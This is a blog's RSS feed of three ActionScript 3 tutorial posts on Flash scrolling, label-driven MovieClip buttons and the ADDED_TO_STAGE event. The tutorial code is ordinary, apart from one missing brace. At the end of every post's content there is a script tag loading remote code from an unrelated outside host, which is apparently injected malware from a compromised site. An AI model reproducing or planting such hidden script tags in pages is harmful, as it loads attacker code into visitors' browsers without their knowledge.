<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; EventListeners</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/eventlisteners/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Scrolling Content in a Mask &#8211; 2 versions</title>
		<link>http://blog.thornyrabbit.com/2009/04/scrolling-content-in-a-mask-2-versions/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/scrolling-content-in-a-mask-2-versions/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 22:54:34 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[EventListeners]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Formula]]></category>
		<category><![CDATA[Scrolling]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=188</guid>
		<description><![CDATA[Two ways of doing scrolling content is AS3 using Timer. Not text scrolling.]]></description>
			<content:encoded><![CDATA[<p><strong>Scrolling masked content &#8211; version 1:</strong></p>
<p>private function scrollDown(event:Event):void{</p>
<p>scrollingDirection = &#8220;scrollDown&#8221;;</p>
<p>scrollingTimer();</p>
<p>}//scrollDown</p>
<p><span> </span></p>
<p>private function scrollUp(event:Event):void{</p>
<p>scrollingDirection = &#8220;scrollUp&#8221;;</p>
<p>scrollingTimer();</p>
<p>//scrollUp</p>
<p><span> </span></p>
<p>private function scrollingTimer():void{</p>
<p>myTimer = new Timer(50);</p>
<p>myTimer.addEventListener(&#8220;timer&#8221;, scrolling);</p>
<p>myTimer.start();</p>
<p>}//scrollingTimer</p>
<p><span> </span></p>
<p>private function scrollStop(event:Event):void{</p>
<p>myTimer.stop();</p>
<p>}//scrollingTimer</p>
<p><span> </span></p>
<p>private function scrolling(event:TimerEvent):void{</p>
<p>if(scrollingDirection == &#8220;scrollDown&#8221; &amp;&amp; thumbnailsContainer.y &lt; scrollbuttonheight){ //working</p>
<p>thumbnailsContainer.y +=10;</p>
<p>}else if(scrollingDirection == &#8220;scrollUp&#8221; &amp;&amp; (thumbnailsContainer.y + thumbnailsContainer.height) &gt; imageHeight){</p>
<p>thumbnailsContainer.y -=10;</p>
<p>}</p>
<p>}//scrolling</p>
<p>&#8212;&#8212;</p>
<p><strong>Scrolling masked content &#8211; version 2:</strong></p>
<p>private function scrollMinus(event:MouseEvent):void{</p>
<p>directionScroll = &#8220;minus&#8221;;</p>
<p>doScrollTimer();</p>
<p>}//scrollMinus</p>
<p><span> </span></p>
<p>private function scrollPlus(event:MouseEvent):void{</p>
<p>directionScroll = &#8220;plus&#8221;;</p>
<p>doScrollTimer();</p>
<p>}//scrollPlus</p>
<p><span> </span></p>
<p>private function scrollCancel(event:MouseEvent):void{</p>
<p>scrollTimer.stop();</p>
<p>}//scrollCancel</p>
<p><span> </span></p>
<p>private function doScrollTimer():void{</p>
<p>scrollTimer = new Timer(100, 0);</p>
<p>scrollTimer.addEventListener(TimerEvent.TIMER, doScrolling);</p>
<p>scrollTimer.start();</p>
<p>}</p>
<p><span> </span></p>
<p>private function doScrolling(event:TimerEvent):void{</p>
<p>if(directionScroll == &#8220;minus&#8221;  &amp;&amp; (thumbnailContainerSprite.x + widthAfterSpacing) &gt; (maskShape.width &#8211; maskShape.x + minLeftScrollPos) ){ </p>
<p>//the border on the left</p>
<p>thumbnailContainerSprite.x -= 10;</p>
<p>}else if(directionScroll == &#8220;plus&#8221; &amp;&amp; thumbnailContainerSprite.x &lt; minLeftScrollPos){ </p>
<p>thumbnailContainerSprite.x += 10;</p>
<p>}</p>
<p>}//doScrolling<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/scrolling-content-in-a-mask-2-versions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MovieClip as button using labels to go to frame automatically.</title>
		<link>http://blog.thornyrabbit.com/2009/04/movieclip-as-button-using-labels-to-go-to-frame-automatically/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/movieclip-as-button-using-labels-to-go-to-frame-automatically/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 20:40:00 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[EventListeners]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[labels]]></category>
		<category><![CDATA[mouseChildren]]></category>
		<category><![CDATA[MovieClip]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=184</guid>
		<description><![CDATA[How to do auto-frame change for movie clips using labels in AS3. And how to use same function for all events you could want.]]></description>
			<content:encoded><![CDATA[<p>Adobe says &#8211; and some blog I saw &#8211; that one can have a 3 frame movie clip with a stop action in the first frame, and &#8220;_up&#8221;,&#8221;_over&#8221;,&#8221;_down&#8221; labels in that order at each of the 3 frames, and once a listener is added (for any type of mouse event) it will automatically do as a SimpleButton would.  No go.</p>
<p>Then I found blogs that had gotoAndStops which just could not be right.</p>
<p>The trick &#8211; ensure the frame (or easier, the whole thing) has its <strong>mouseChildren </strong>set to false.</p>
<p><strong>Added onto this &#8211; a way to use one function for all the events:</strong></p>
<p> </p>
<p>private var test_mc:linked_btn = new linked_btn();</p>
<p>addChild(test_mc);</p>
<p>test_mc.addEventListener(MouseEvent.MOUSE_DOWN, checking);//re-use function and check for event type</p>
<p>test_mc.addEventListener(MouseEvent.MOUSE_OVER, checking);</p>
<p>test_mc.addEventListener(MouseEvent.MOUSE_OUT, checking);</p>
<p>test_mc.addEventListener(MouseEvent.MOUSE_UP, checking);</p>
<p>test_mc.buttonMode = true;</p>
<p>test_mc.<strong>mouseChildren </strong>= false; </p>
<p><em>//adobe documentation: If you include frames labeled _up, _over, and _down, Flash Player provides automatic state changes </em></p>
<p><em>//must do else will not do state changes &#8211; else bubbling down to look for more event listeners probably</em></p>
<p><em>//solution: <a href="http://www.flashfocus.nl" target="_blank">http://www.flashfocus.nl</a></em></p>
<p>private function checking(event:MouseEvent):void{</p>
<p><span> </span>trace(event.type);</p>
<p><span> </span>if(event.type==&#8221;mouseOver&#8221;){</p>
<p><span> </span>trace(&#8220;over script&#8221;);</p>
<p><span> </span>}else if(event.type==&#8221;mouseOut&#8221;){</p>
<p><span> </span>trace(&#8220;out script&#8221;);</p>
<p><span> </span>}else if(event.type==&#8221;mouseDown&#8221;){</p>
<p><span> </span>trace(&#8220;down script&#8221;);</p>
<p><span> </span>}else if(event.type==&#8221;mouseUp&#8221;){</p>
<p><span> </span>trace(&#8220;up script&#8221;);</p>
<p><span> </span>}</p>
<p>}<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/movieclip-as-button-using-labels-to-go-to-frame-automatically/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Added to Stage Event</title>
		<link>http://blog.thornyrabbit.com/2009/03/added-to-stage-event/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/added-to-stage-event/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 23:00:21 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[EventListeners]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=96</guid>
		<description><![CDATA[Remedy to stage property not accessible error.]]></description>
			<content:encoded><![CDATA[<p><strong>Prevent Error #1009 &#8211; stage property not accessible (null) in loaded swf files after calling from a preloader.</strong></p>
<p>Thanks to: </p>
<p><a href="http://www.markledford.com/blog/2008/08/13/why-some-as3-swfs-work-stand-alone-but-fail-to-load-into-other-swfs/" target="_blank">http://www.markledford.com/blog/2008/08/13/why-some-as3-swfs-work-stand-alone-but-fail-to-load-into-other-swfs/</a></p>
<p>who explains it well and is less ratty and petulently &#8216;clever&#8217; as some people on forums.</p>
<p>(In Initialiser function)</p>
<p>public function ImpactVisualHome(){</p>
<p><span> </span></p>
<p><span> </span>trace(&#8220;main class started&#8221;);</p>
<p><span> </span>if (stage){</p>
<p><span> </span>onAddedToStage();</p>
<p><span> </span>} else {</p>
<p><span> </span>addEventListener(Event.ADDED_TO_STAGE, onAddedToStage);</p>
<p><span> </span>}</p>
<p><span> </span>}//init</p>
<p><span> </span></p>
<p><span> </span>private function initApp():void{</p>
<p><span> </span>//do all things it needs to once it has registered the stage</p>
<p><span> </span>}//initApp</p>
<p><span> </span></p>
<p><span> </span>private function onAddedToStage(event:Event=null):void {</p>
<p><span> </span>removeEventListener(Event.ADDED_TO_STAGE, onAddedToStage);</p>
<p><span> </span>initApp();</p>
<p><span> </span>}<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/added-to-stage-event/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
